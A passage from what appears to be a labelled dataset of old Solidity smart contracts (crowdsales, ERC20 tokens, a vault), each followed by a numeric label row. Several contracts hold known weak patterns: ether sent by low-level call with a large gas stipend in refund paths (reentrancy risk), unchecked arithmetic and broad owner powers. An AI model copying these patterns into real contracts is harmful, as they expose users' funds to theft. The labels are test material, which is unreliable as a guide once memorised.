(isLocked, timeLock) = tokenReward.isWalletLocked_Send(this);
require(isLocked == false);
uint256 amountFunds = msg.value;
uint256 reservedApis = amountFunds * priceOfApisPerFund;
require(saleStatus.totalSoldApis + reservedApis <= fundingGoalCurrent);
require(saleStatus.totalSoldApis + reservedApis <= fundingGoal);
fundersProperty[_beneficiary].reservedFunds += amountFunds;
fundersProperty[_beneficiary].reservedApis += reservedApis;
fundersProperty[_beneficiary].purchaseTime = now;
saleStatus.totalReceivedFunds += amountFunds;
saleStatus.totalReservedFunds += amountFunds;
saleStatus.totalSoldApis += reservedApis;
saleStatus.totalReservedApis += reservedApis;
if(whiteList.isInWhiteList(_beneficiary) == true) {
withdrawal(_beneficiary);
}
else {
ReservedApis(_beneficiary, amountFunds, reservedApis);
}
}
function claimApis(address _target) public {
require(whiteList.isInWhiteList(_target) == true);
require(fundersProperty[_target].reservedFunds > 0);
withdrawal(_target);
}
function claimMyApis() claimable public {
withdrawal(msg.sender);
}
function withdrawal(address funder) internal {
assert(tokenReward.transferFrom(owner, funder, fundersProperty[funder].reservedApis));
fundersProperty[funder].withdrawedApis += fundersProperty[funder].reservedApis;
fundersProperty[funder].paidFunds += fundersProperty[funder].reservedFunds;
saleStatus.totalReservedFunds -= fundersProperty[funder].reservedFunds;
saleStatus.totalPaidFunds += fundersProperty[funder].reservedFunds;
saleStatus.totalReservedApis -= fundersProperty[funder].reservedApis;
saleStatus.totalWithdrawedApis += fundersProperty[funder].reservedApis;
WithdrawalApis(funder, fundersProperty[funder].reservedFunds, fundersProperty[funder].reservedApis);
fundersProperty[funder].reservedFunds = 0;
fundersProperty[funder].reservedApis = 0;
}
function refundByOwner(address _funder) onlyOwner public {
require(fundersProperty[_funder].reservedFunds > 0);
uint256 amountFunds = fundersProperty[_funder].reservedFunds;
uint256 amountApis = fundersProperty[_funder].reservedApis;
_funder.transfer(amountFunds);
saleStatus.totalReceivedFunds -= amountFunds;
saleStatus.totalReservedFunds -= amountFunds;
saleStatus.totalSoldApis -= amountApis;
saleStatus.totalReservedApis -= amountApis;
fundersProperty[_funder].reservedFunds = 0;
fundersProperty[_funder].reservedApis = 0;
Refund(_funder, amountFunds, amountApis);
}
function withdrawalFunds(bool remainRefundable) onlyOwner public {
require(now > endTime || closed == true);
uint256 amount = 0;
if(remainRefundable) {
amount = this.balance - saleStatus.totalReservedFunds;
} else {
amount = this.balance;
}
if(amount > 0) {
msg.sender.transfer(amount);
WithdrawalFunds(msg.sender, amount);
}
}
function isOpened() public view returns (bool isOpend) {
if(now < startTime) return false;
if(now >= endTime) return false;
if(closed == true) return false;
return true;
}
} | 1 | 3,217 |
pragma solidity ^ 0.4.13;
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract PreArtexToken {
function balanceOf(address _owner) constant returns(uint256 balance);
mapping(address => uint) public deposits;
uint public tokenPriceUSDWEI;
}
contract Owned {
address public owner;
address public newOwner;
address public oracle;
address public btcOracle;
function Owned() payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
modifier onlyOwnerOrOracle {
require(owner == msg.sender || oracle == msg.sender);
_;
}
modifier onlyOwnerOrBtcOracle {
require(owner == msg.sender || btcOracle == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner external {
require(_owner != 0);
newOwner = _owner;
}
function confirmOwner() external {
require(newOwner == msg.sender);
owner = newOwner;
delete newOwner;
}
function changeOracle(address _oracle) onlyOwner external {
require(_oracle != 0);
oracle = _oracle;
}
function changeBtcOracle(address _btcOracle) onlyOwner external {
require(_btcOracle != 0);
btcOracle = _btcOracle;
}
}
contract KnownContract {
function transfered(address _sender, uint256 _value, bytes32[] _data) external;
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns(uint);
function transfer(address to, uint value);
function allowance(address owner, address spender) constant returns(uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract Stateful {
enum State {
Initial,
PreSale,
WaitingForSale,
Sale,
CrowdsaleCompleted,
SaleFailed
}
State public state = State.Initial;
event StateChanged(State oldState, State newState);
function setState(State newState) internal {
State oldState = state;
state = newState;
StateChanged(oldState, newState);
}
}
contract Crowdsale is Owned, Stateful {
uint public etherPriceUSDWEI;
address public beneficiary;
uint public totalLimitUSDWEI;
uint public minimalSuccessUSDWEI;
uint public collectedUSDWEI;
uint public crowdsaleStartTime;
uint public crowdsaleFinishTime;
struct Investor {
uint amountTokens;
uint amountWei;
}
struct BtcDeposit {
uint amountBTCWEI;
uint btcPriceUSDWEI;
address investor;
}
mapping(bytes32 => BtcDeposit) public btcDeposits;
mapping(address => Investor) public investors;
mapping(uint => address) public investorsIter;
uint public numberOfInvestors;
mapping(uint => address) public investorsToWithdrawIter;
uint public numberOfInvestorsToWithdraw;
function Crowdsale() payable Owned() {}
function emitTokens(address _investor, uint _tokenPriceUSDWEI, uint _usdwei) internal returns(uint tokensToEmit);
function emitAdditionalTokens() internal;
function burnTokens(address _address, uint _amount) internal;
function() payable crowdsaleState limitNotExceeded crowdsaleNotFinished {
uint valueWEI = msg.value;
uint valueUSDWEI = valueWEI * etherPriceUSDWEI / 1 ether;
uint tokenPriceUSDWEI = getTokenPriceUSDWEI();
if (collectedUSDWEI + valueUSDWEI > totalLimitUSDWEI) {
valueUSDWEI = totalLimitUSDWEI - collectedUSDWEI;
valueWEI = valueUSDWEI * 1 ether / etherPriceUSDWEI;
uint weiToReturn = msg.value - valueWEI;
bool isSent = msg.sender.call.gas(3000000).value(weiToReturn)();
require(isSent);
collectedUSDWEI = totalLimitUSDWEI;
} else {
collectedUSDWEI += valueUSDWEI;
}
emitTokensFor(msg.sender, tokenPriceUSDWEI, valueUSDWEI, valueWEI);
}
function depositUSD(address _to, uint _amountUSDWEI) external onlyOwner crowdsaleState limitNotExceeded crowdsaleNotFinished {
uint tokenPriceUSDWEI = getTokenPriceUSDWEI();
collectedUSDWEI += _amountUSDWEI;
emitTokensFor(_to, tokenPriceUSDWEI, _amountUSDWEI, 0);
}
function depositBTC(address _to, uint _amountBTCWEI, uint _btcPriceUSDWEI, bytes32 _btcTxId) external onlyOwnerOrBtcOracle crowdsaleState limitNotExceeded crowdsaleNotFinished {
uint valueUSDWEI = _amountBTCWEI * _btcPriceUSDWEI / 1 ether;
uint tokenPriceUSDWEI = getTokenPriceUSDWEI();
BtcDeposit storage btcDep = btcDeposits[_btcTxId];
require(btcDep.amountBTCWEI == 0);
btcDep.amountBTCWEI = _amountBTCWEI;
btcDep.btcPriceUSDWEI = _btcPriceUSDWEI;
btcDep.investor = _to;
collectedUSDWEI += valueUSDWEI;
emitTokensFor(_to, tokenPriceUSDWEI, valueUSDWEI, 0);
}
function emitTokensFor(address _investor, uint _tokenPriceUSDWEI, uint _valueUSDWEI, uint _valueWEI) internal {
var emittedTokens = emitTokens(_investor, _tokenPriceUSDWEI, _valueUSDWEI);
Investor storage inv = investors[_investor];
if (inv.amountTokens == 0) {
investorsIter[numberOfInvestors++] = _investor;
}
inv.amountTokens += emittedTokens;
if (state == State.Sale) {
inv.amountWei += _valueWEI;
}
}
function getTokenPriceUSDWEI() internal returns(uint tokenPriceUSDWEI) {
tokenPriceUSDWEI = 0;
if (state == State.PreSale) {
tokenPriceUSDWEI = 76923076923076900;
}
if (state == State.Sale) {
if (now < crowdsaleStartTime + 1 days) {
tokenPriceUSDWEI = 86956521730000000;
} else if (now < crowdsaleStartTime + 1 weeks) {
tokenPriceUSDWEI = 90909090900000000;
} else if (now < crowdsaleStartTime + 2 weeks) {
tokenPriceUSDWEI = 95238095230000000;
} else {
tokenPriceUSDWEI = 100000000000000000;
}
}
}
function startPreSale(
address _beneficiary,
uint _etherPriceUSDWEI,
uint _totalLimitUSDWEI,
uint _crowdsaleDurationDays) external onlyOwner {
require(state == State.Initial);
crowdsaleStartTime = now;
beneficiary = _beneficiary;
etherPriceUSDWEI = _etherPriceUSDWEI;
totalLimitUSDWEI = _totalLimitUSDWEI;
crowdsaleFinishTime = now + _crowdsaleDurationDays * 1 days;
collectedUSDWEI = 0;
setState(State.PreSale);
}
function finishPreSale() public onlyOwner {
require(state == State.PreSale);
bool isSent = beneficiary.call.gas(3000000).value(this.balance)();
require(isSent);
setState(State.WaitingForSale);
}
function startSale(
address _beneficiary,
uint _etherPriceUSDWEI,
uint _totalLimitUSDWEI,
uint _crowdsaleDurationDays,
uint _minimalSuccessUSDWEI) external onlyOwner {
require(state == State.WaitingForSale);
crowdsaleStartTime = now;
beneficiary = _beneficiary;
etherPriceUSDWEI = _etherPriceUSDWEI;
totalLimitUSDWEI = _totalLimitUSDWEI;
crowdsaleFinishTime = now + _crowdsaleDurationDays * 1 days;
minimalSuccessUSDWEI = _minimalSuccessUSDWEI;
collectedUSDWEI = 0;
setState(State.Sale);
}
function failSale(uint _investorsToProcess) public {
require(state == State.Sale);
require(now >= crowdsaleFinishTime && collectedUSDWEI < minimalSuccessUSDWEI);
while (_investorsToProcess > 0 && numberOfInvestors > 0) {
address addr = investorsIter[--numberOfInvestors];
Investor memory inv = investors[addr];
burnTokens(addr, inv.amountTokens);
--_investorsToProcess;
delete investorsIter[numberOfInvestors];
investorsToWithdrawIter[numberOfInvestorsToWithdraw] = addr;
numberOfInvestorsToWithdraw++;
}
if (numberOfInvestors > 0) {
return;
}
setState(State.SaleFailed);
}
function completeSale(uint _investorsToProcess) public onlyOwner {
require(state == State.Sale);
require(collectedUSDWEI >= minimalSuccessUSDWEI);
while (_investorsToProcess > 0 && numberOfInvestors > 0) {
--numberOfInvestors;
--_investorsToProcess;
delete investors[investorsIter[numberOfInvestors]];
delete investorsIter[numberOfInvestors];
}
if (numberOfInvestors > 0) {
return;
}
emitAdditionalTokens();
bool isSent = beneficiary.call.gas(3000000).value(this.balance)();
require(isSent);
setState(State.CrowdsaleCompleted);
}
function setEtherPriceUSDWEI(uint _etherPriceUSDWEI) external onlyOwnerOrOracle {
etherPriceUSDWEI = _etherPriceUSDWEI;
}
function setBeneficiary(address _beneficiary) external onlyOwner() {
require(_beneficiary != 0);
beneficiary = _beneficiary;
}
function withdrawBack() external saleFailedState {
returnInvestmentsToInternal(msg.sender);
}
function returnInvestments(uint _investorsToProcess) public saleFailedState {
while (_investorsToProcess > 0 && numberOfInvestorsToWithdraw > 0) {
address addr = investorsToWithdrawIter[--numberOfInvestorsToWithdraw];
delete investorsToWithdrawIter[numberOfInvestorsToWithdraw];
--_investorsToProcess;
returnInvestmentsToInternal(addr);
}
}
function returnInvestmentsTo(address _to) public saleFailedState {
returnInvestmentsToInternal(_to);
}
function returnInvestmentsToInternal(address _to) internal {
Investor memory inv = investors[_to];
uint value = inv.amountWei;
if (value > 0) {
delete investors[_to];
require(_to.call.gas(3000000).value(value)());
}
}
function withdrawFunds(uint _value) public onlyOwner {
require(state == State.PreSale || (state == State.Sale && collectedUSDWEI > minimalSuccessUSDWEI));
if (_value == 0) {
_value = this.balance;
}
bool isSent = beneficiary.call.gas(3000000).value(_value)();
require(isSent);
}
modifier crowdsaleNotFinished {
require(now < crowdsaleFinishTime);
_;
}
modifier limitNotExceeded {
require(collectedUSDWEI < totalLimitUSDWEI);
_;
}
modifier crowdsaleState {
require(state == State.PreSale || state == State.Sale);
_;
}
modifier saleFailedState {
require(state == State.SaleFailed);
_;
}
modifier completedSaleState {
require(state == State.CrowdsaleCompleted);
_;
}
}
contract Token is Crowdsale, ERC20 {
mapping(address => uint) internal balances;
mapping(address => mapping(address => uint)) public allowed;
uint8 public constant decimals = 8;
function Token() payable Crowdsale() {}
function balanceOf(address who) constant returns(uint) {
return balances[who];
}
function transfer(address _to, uint _value) public completedSaleState onlyPayloadSize(2 * 32) {
require(balances[msg.sender] >= _value);
require(balances[_to] + _value >= balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public completedSaleState onlyPayloadSize(3 * 32) {
require(balances[_from] >= _value);
require(balances[_to] + _value >= balances[_to]);
require(allowed[_from][msg.sender] >= _value);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public completedSaleState {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant completedSaleState returns(uint remaining) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
}
contract MigratableToken is Token {
function MigratableToken() payable Token() {}
address public migrationAgent;
uint public totalMigrated;
address public migrationHost;
mapping(address => bool) migratedInvestors;
event Migrated(address indexed from, address indexed to, uint value);
function setMigrationHost(address _address) external onlyOwner {
require(_address != 0);
migrationHost = _address;
}
function migrateInvestorFromHost(address _address) external onlyOwner {
require(migrationHost != 0 &&
state != State.SaleFailed &&
etherPriceUSDWEI != 0 &&
migratedInvestors[_address] == false);
PreArtexToken preArtex = PreArtexToken(migrationHost);
uint tokensDecimals = preArtex.balanceOf(_address);
require(tokensDecimals > 0);
uint depositWEI = preArtex.deposits(_address);
uint preArtexTokenPriceUSDWEI = preArtex.tokenPriceUSDWEI();
uint tokensToTransfer = 0;
if (tokensDecimals != 0 && depositWEI == 0) {
tokensToTransfer = tokensDecimals * 140 / 130;
} else {
var preArtexEtherPriceUSDWEI = ((tokensDecimals * preArtexTokenPriceUSDWEI * 1 ether) / (depositWEI * (10 ** uint(decimals))));
if (etherPriceUSDWEI > preArtexEtherPriceUSDWEI) {
tokensToTransfer = (tokensDecimals * etherPriceUSDWEI * 140) / (preArtexEtherPriceUSDWEI * 130);
} else {
tokensToTransfer = tokensDecimals * 140 / 130;
}
}
balances[_address] = tokensToTransfer;
totalSupply += tokensToTransfer;
migratedInvestors[_address] = true;
if (state != State.CrowdsaleCompleted) {
Investor storage inv = investors[_address];
investorsIter[numberOfInvestors++] = _address;
inv.amountTokens += tokensToTransfer;
}
Transfer(this, _address, tokensToTransfer);
}
function migrate() external {
require(migrationAgent != 0);
uint value = balances[msg.sender];
balances[msg.sender] -= value;
Transfer(msg.sender, this, value);
totalSupply -= value;
totalMigrated += value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, value);
Migrated(msg.sender, migrationAgent, value);
}
function setMigrationAgent(address _agent) external onlyOwner {
require(migrationAgent == 0);
migrationAgent = _agent;
}
}
contract ArtexToken is MigratableToken {
string public constant symbol = "ART";
string public constant name = "Artex Token";
mapping(address => bool) public allowedContracts;
function ArtexToken() payable MigratableToken() {}
function emitTokens(address _investor, uint _tokenPriceUSDWEI, uint _valueUSDWEI) internal returns(uint tokensToEmit) {
tokensToEmit = (_valueUSDWEI * (10 ** uint(decimals))) / _tokenPriceUSDWEI;
require(balances[_investor] + tokensToEmit > balances[_investor]);
require(tokensToEmit > 0);
balances[_investor] += tokensToEmit;
totalSupply += tokensToEmit;
Transfer(this, _investor, tokensToEmit);
}
function emitAdditionalTokens() internal {
uint tokensToEmit = totalSupply * 100 / 74 - totalSupply;
require(balances[beneficiary] + tokensToEmit > balances[beneficiary]);
require(tokensToEmit > 0);
balances[beneficiary] += tokensToEmit;
totalSupply += tokensToEmit;
Transfer(this, beneficiary, tokensToEmit);
}
function burnTokens(address _address, uint _amount) internal {
balances[_address] -= _amount;
totalSupply -= _amount;
Transfer(_address, this, _amount);
}
function addAllowedContract(address _address) external onlyOwner {
require(_address != 0);
allowedContracts[_address] = true;
}
function removeAllowedContract(address _address) external onlyOwner {
require(_address != 0);
delete allowedContracts[_address];
}
function transferToKnownContract(address _to, uint256 _value, bytes32[] _data) external onlyAllowedContracts(_to) {
var knownContract = KnownContract(_to);
transfer(_to, _value);
knownContract.transfered(msg.sender, _value, _data);
}
modifier onlyAllowedContracts(address _address) {
require(allowedContracts[_address] == true);
_;
}
} | 1 | 2,477 |
pragma solidity ^0.4.0;
contract Vault {
address public owner;
address public recovery;
uint public withdrawDelay;
uint public withdrawTime;
uint public withdrawAmount;
modifier only_owner() {
if(msg.sender != owner) throw;
_;
}
modifier only_recovery() {
if(msg.sender != recovery) throw;
_;
}
event Unvault(uint amount, uint when);
event Recover(address target, uint value);
event Deposit(address from, uint value);
event Withdraw(address to, uint value);
function Vault(address _recovery, uint _withdrawDelay) {
owner = msg.sender;
recovery = _recovery;
withdrawDelay = _withdrawDelay;
}
function max(uint a, uint b) internal returns (uint) {
if(a > b)
return a;
return b;
}
function unvault(uint amount) only_owner {
if(amount > this.balance)
throw;
if(amount > withdrawAmount)
withdrawTime = max(withdrawTime, block.timestamp + withdrawDelay);
withdrawAmount = amount;
Unvault(amount, withdrawTime);
}
function withdraw() only_owner {
if(block.timestamp < withdrawTime || withdrawAmount == 0)
throw;
uint amount = withdrawAmount;
withdrawAmount = 0;
if(!owner.send(amount))
throw;
Withdraw(owner, amount);
}
function recover(address target) only_recovery {
Recover(target, this.balance);
selfdestruct(target);
}
function lock(uint duration) only_owner {
withdrawTime = max(withdrawTime, block.timestamp + duration);
}
function() payable {
if(msg.value > 0)
Deposit(msg.sender, msg.value);
}
} | 0 | 1,083 |
pragma solidity ^0.5.4;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract HolographicMediaCard is Ownable, SafeMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balanceOf[msg.sender] = 1500000000000000000000000000;
totalSupply = 1500000000000000000000000000;
name = "Holographic Media Card";
symbol = "HMC";
decimals = 18;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[msg.sender] + balanceOf[_to];
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
assert(balanceOf[msg.sender]+balanceOf[_to]==previousBalances);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0));
require (_value > 0);
require (balanceOf[_from] >= _value) ;
require (balanceOf[_to] + _value > balanceOf[_to]);
require (_value <= allowance[_from][msg.sender]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
} | 1 | 2,801 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract RepublicToken is PausableToken, BurnableToken {
string public constant name = "Republic Token";
string public constant symbol = "REN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(decimals);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transferTokens(address beneficiary, uint256 amount) public onlyOwner returns (bool) {
require(amount > 0);
balances[owner] = balances[owner].sub(amount);
balances[beneficiary] = balances[beneficiary].add(amount);
emit Transfer(owner, beneficiary, amount);
return true;
}
} | 1 | 4,206 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PrivateBonTokenSale is Pausable {
using SafeMath for uint;
string public constant name = "Private Bon Token Sale";
uint public fiatValueMultiplier = 10 ** 6;
uint public tokenDecimals = 10 ** 18;
uint public ethUsdRate;
mapping(address => uint) investors;
mapping(address => uint) public tokenHolders;
address beneficiary;
modifier allowedToPay(){
require(investors[msg.sender] > 0);
_;
}
function setRate(uint rate) external onlyOwner {
require(rate > 0);
ethUsdRate = rate;
}
function setInvestorStatus(address investor, uint bonus) external onlyOwner {
require(investor != 0x0);
investors[investor] = bonus;
}
function setBeneficiary(address investor) external onlyOwner {
beneficiary = investor;
}
function() payable public whenNotPaused allowedToPay{
uint tokens = msg.value.mul(ethUsdRate).div(fiatValueMultiplier);
uint bonus = tokens.div(100).mul(investors[msg.sender]);
tokenHolders[msg.sender] = tokens.add(bonus);
beneficiary.transfer(msg.value);
}
} | 1 | 3,857 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
